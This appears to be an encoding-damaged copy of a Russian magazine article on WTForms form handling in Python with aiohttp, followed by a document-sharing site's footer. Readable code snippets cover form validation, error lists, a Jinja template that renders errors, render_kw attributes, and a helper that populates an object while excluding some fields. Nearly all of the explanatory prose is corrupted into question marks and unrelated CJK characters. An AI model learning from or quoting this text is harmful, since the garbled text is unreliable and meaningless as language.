?????�??�?.��??�????�????燞TML????�??�??�?????�???� first_name.� ?????� ?????�?� ??� ???�????� ????�?� ???�?� ??� ????�???�??�??�?
????�???�???.
2.�?�??� ??� ???�???�?� ?????�????� ????�?� errors� ??????� ????.� ???� ????�
?????� ????????�?,� ?� ???� ?????�????� ????�?.� ??� ???�??� ??????� ???�??
?�??�??,�????�?�???�?�????�?????.�???�?�???�?�??�??�?�??
?????�?????� ?� ????� ?????�???� ?????�?� (???�????,� ??????�??
??� 6� ??� 30� ??� ???�?� ??� ???�??�??� ???�????),� ??� ?� ???�??� ????� ??????� ??
???�???�?.�?�??�??�?????�?????�????�???�?.
3.�� ???????,� ?� ???�?????� ????�?� ??� ???�????� ???� ???� input,� ???????
?????�.first_name()�?????�?????�?�??�?.
???�????�??�?.�?�????�??�?????�??�???�???�???�??�???�?�??�??
input.�??�????�???????�?,�??�?????�?�????�??�???�?�?�????��??
????�?????�??�????,�??????�??�??�???�??�?�??�???�?�?�????�????�
????�??�??�?�?�????�???�?燞TML????�?????.
???�???�??�????�(POST�/users)
???�?????� ???� ?� ????????� ???�??� ???�?� ??� ???�???� ?� ??????� ??� ?????�
??????.�???�??�???�?�??�???�??�????.
1.�?�?????燩OST????�??�(???�????�??�???�???�?????�???��?????�???�
??�?�???,�?????�????�?�?�???�????��????�??�???�?,�???�??????�
?????).
2.�??�??????燩OST????�??�????�??�??????�??�?.
3.�??�?????� (??????�?????)� ???�??�?????� ?????�????.� ????� ??????� ??� ???,
???�???�???�?.
4.�?�??�???�??�???�??�?�??�?????�??�??.�??�???�????�?,�?,�???
??� ????�????�?� ORM,� ??????� ????�??????,� ???� ??� ???�??� ???�?� ????
???�?�??�???�??�??��?.
?�????�??�??�??�??��?��??�???�???????,�??�??�???�?燯ser.
async燿ef燾reate(self,爎equest):
牋�#�???????爌ayload.�??燼iohttp�??�?�????�??????????
牋�#�?????�??�??????爌ayload.�???�??�????????
牋爌ayload�燼wait爎equest.post()
牋�#�??????�????�??????�????�????��????????�??�??????,
牋�#�?????????��??????
牋爁orm�燯serForm(payload)
牋�#�???�?????��??????�???????�????????
牋爄f爁orm.validate():
牋牋牋�#�??????�????�?????燯ser
牋牋牋爑ser�燯ser()
牋牋牋�#�????????�??�???????�??????�????
牋牋牋爁orm.populate_obj(user)
牋牋牋�#�...
牋牋牋�#�????????�????��?,�?????????�?????
??� ???????�???� ???�?,� ??????�?� ???�??� ?� ???�???� ???????,� ???�???�?� ??
?� ??????�?� ?� ??.� ???� ????� ??� ??� ???�???????� ??� ????�?????�?� HTML,� ID
?????,�??�?��?�????�????�??�?�??�???��??�???.�?�???�?�?,�????�
???
????? ???�????????? ???????? ????????
??�?� ??� ???�?????�?� ?????� ???�???�??� ???�??,� ?� ????� ???�????�?� ???�??
???�??:��??�?????�???�?????�?�????�???�?�??�???�??�??�???�???�
??�?????�?�??�?��????燨RM�(???????�????�?�???).�??�??�?�??�????�
???�??�???�????�??�?��??�???��??�???爌opulate�?燱TForms?�??�?
???�?�??�??????�??�???�??�???.
Signature:爁orm.populate_obj(obj)
Source:
牋牋def爌opulate_obj(self,爋bj):
牋牋牋牋"""
牋牋牋牋Populates爐he燼ttributes爋f爐he爌assed燻obj`
牋牋牋牋with燿ata爁rom爐he爁orm's爁ields.
牋牋牋牋:note:燭his爄s燼燿estructive爋peration;
牋牋牋牋牋牋牋燗ny燼ttribute爓ith爐he爏ame爊ame
牋牋牋牋牋牋牋燼s燼爁ield爓ill燽e爋verridden.燯se爓ith燾aution.
牋牋牋牋"""
牋牋牋牋for爊ame,爁ield爄n爄teritems(self._fields):
牋牋牋牋牋牋field.populate_obj(obj,爊ame)
???�?????,�??�???�?????�?�??�??�???�????�????�??�?,��????,�???�
????�??� ??� ????�?,� ????�??????� ????�????� ???�??�?????�???� ???�???� ????�
?????.� ???�????� ??� ???�?� ???� ???�???�??� ?????�????:� ???� ???�?
???�????????�??�????�燜ormFields.
?� ????�???�??� ???�???� ???� ??????�?� ???????.� ????� ???� ???????????�
??????:� ?� ????�?????�?� ?????� ????� ????,� ???�???�?� ??????�?� ???�???�?
???????��?,�??�????�???�?,��??????�??�??�????�???�???????.��???
???�??� ???�???�????� ????�??� wtforms.fields.SelectField,� ???????
choices=[...]� ??� ????�??� ???�?????� ???�????� ???????,� ?� ??� ???�???
???�??????燨RM�??�????�??�????�?�??�???�??.
??�???�???�?�???????�??�?�???�???�??�?�????�???�???�???�???�?
????�?� ??????� ?????� ???�?,� ?� ??????�??� ??????� ????�????�???.� ????�???
???.
1.�?� ??????�?????� ?????�????� ???�???� populate_obj� ????�?� ?� ?????�
????�???� ???� ????� ????�??,� ???????� ???�??� ?� ???� ?????� ????�??� .data
???�???�???�??�?�??�?爁orm.f_name.data.
2.�?�?????�???�????�??�????�????�??�???�??�???�??�?.
???� ????�?� ???�??�?� ???�??� ????�??� (????� ??� ?� ???�?� ????�???�??).� ????�
?????,�??:
from爓tforms.compat爄mport爄teritems,爄tervalues,爓ith_metaclass
def爌opulate_selective(form,爋bj,爀xclude=[]):
牋牋for爊ame,爁ield爄n爁ilter(lambda爁:爁[0]爊ot爄n爀xclude,爄teritems(form
._fields)):
牋牋牋牋field.populate_obj(obj,爊ame)
??�???�??�?�?????�?????�?�??�?�???�?�?�???,�??????�??�?:
populate_selective(form,爑ser,爀xclude=['f_name',�'l_name',�'city',])
?��?????�???�??�?????�?�?�???�???�??�?????.
??????????? ??????
?
? �?????�?????
??????
????????? ?????
????????????�??????�????
??燩YTHON��??????燱TFORMS
??�???�???
???� ????� ???�??,� ?????� ??� ???????� ??� ?????�???� ???� ?????� ??� ???�??�??:
???� ??????�?� ???�???� form.validate()?� ???� ???�???�?� ???� ???� ??� ?????
????�?�?????�????��??????�???,�??????�?�??�???�?�??�???�???�??
????�?� ???�?.� ?????� ???�???�?� ???????�???� ???�?????� ???�????� ?� ?????�
?????� ?????,� ???????� ?� ?????�??� ???�???�??� ?� ????� ???�?� ?????� ???�???�
???????��??�???�???�???????,��??�?????,�??�??�??�???�?????�??.
form�燯serForm()
form.first_name.data��'Johnny'
form.last_name.data��'Doe'
form.email.data��'invalid_email'
form.password.data��'super?secret?pass'
???�???�?�?????�?????�??�??�?.
form.validate()
#燜alse
??�???�??� ??� ????�?.� ??� ???�???,� ???� ?� ???�??� ????� ????� ???�??� errors,
???????�????�????�???�???�?,�???�??�??�???�??�??�????�????�???�
??.�??�?????�?�??.
form.first_name.errors
#燵]
???� ???�???�?,� ?� ???�??� ????� ???�??� ??� ????,� ???�??� ??????�????� [val?
idators.Length(min=5,爉ax=30)]� ????�??,� ???� ???� ???� Johnny� ????�?????�
????�????�???�???�?????�???.�??�?????�??�??.
form.last_name.errors
#燵'Field爉ust燽e燽etween�nd�燾haracters爈ong.']
form.email.errors
#燵'Invalid爀mail燼ddress.']
form.password.errors
#燵]
??� ???�??� ?� ?????�?� ???�???� ???�???�?� ??????�???,� ?� ???� ???�??� (????)
???????�??�??�??�??.
{%爄f爁orm.first_name.errors�%}
牋�ul燾lass="errors">
牋牋牋爗%爁or爀rror爄n爁orm.first_name.errors�%}
牋牋牋牋牋�li>{{爀rror爙}</li>{%爀ndfor�%}
牋�/ul>
{%爀ndif�%}
INFO
??�???�???,�??�?�??�??�???�?,�??�??�????�?
???????�????� ???�?� ????� ???�?� ??????�???
????�?�????�??????�??�?��??�?????�??,
?� ??� ???�?????� ?????.� ???�?� ????�?� ???�??,� ??
?????� ?????�???� ????�????�?????� ????� ?� ????�
????�??� ?????�?,� ???� ???� ????�?????�?� ??� ????�
???�?�??�???�??�?�????.
?� ???�??� ????�??� ?????�????� ??????�????� ???�?� ????�?????�?� ?????,
?�???�?�?�??�??,�?燱TForms�??�???�?�?�???????��???�???�??.
????????????�????????�??????�????�????
??� ???� ???�??,� ???� ?� ?????� ???�?� ????� ?????� ?????� ????�????,� ???????
???�?�??�???��???�???�??�????.�??�????,�??�????,�??????�???�???�
???�?????�????�???�??�??��????�???.�??�??�??�???:
? id��???�??營D燞TML????�???�??�??�????�??
? name��??�??�???�(????�???爊ame�燞TML),�?�?????�?�????�?????�?
?????�????�???
? ????�?,�?????�???��??�????.
???� ???� ???�????� ???�???�?� ????,� ???� ???� ????�?� ?????� ???�???�???
??�?????�?�???�?爓tforms.?elds.Field.
??�???�??�??�???�?�??�??.�???�?��??�???�????�??�??�?�????
??????�???�?�???????�??�????�????.�??�????,
? ??�???????�????�???�??�????��????�?�???�????�?????
? ??�?????�??�??�???�???�????�??�??�????�?�(??????�??�???��?�?
???�?�?????�???�?�?�??�??�??�??��??�???�??���???�????�???�
???�????)?
? ???� ?????�??� ????� ????�???� data?????�??� ???� ???�??�??�?� ????,� ??????�
?????燗PI?endpoint�??�?????�??�???�??�????�??�??.
???�??�????�?�??�?�??�??�????�??�?�????�????�??�????�??�???�
??��?????�?�?????�?�??�?:�????�????�??????�?????�??��???�????�
???�???�?.�?�??�??�??�????�????�??,�??�???�??�?��??�???�??
Python????�??��?�????�????????�??�???�???�?!
??�????�????�???�??�????�???� first_name�(???�??�???�??��????
default):
form.first_name.data��'Linus'
?� ????� ??????� ????�?� ????� ???�???� render_kw.� ??� ???�??�????�?� ???�??
????�????,�??????�????�??????�???�燞TML?????�(???�???).
#�?????�???�?????�???????�燘ootstrap!
form.last_name.render_kw['class']��'form?control'
??� ?� ???????� ???�?????� data?????�??� ???� ???�??�?� ??� ???�?????�??� ?????�
????:
form.users.render_kw['data?url']�爎equest.app.router['api_users_search'].
url_for()
???????��??????????�????
?�????�?????�?????�?�?????�?,�??�???��?�?�??�?�????�??????�
??????�?��??�??�???�????.�???�?�?�??????�??�????�??�?��??????�
???�?????,��????�??�??????�???.�?��????�??�??��??�??�??�???
????�?� ????????�??� ?????� ?????� (????�????)� ???�?,� ?� ?� ???�??� ?� ????�
?????�??.�???�???�??�?????�??�???�???�??�
Документ
Категория
Без категории
Просмотров
19
Размер файла
11 675 Кб
Теги
2017
1/--страниц
Пожаловаться на содержимое документа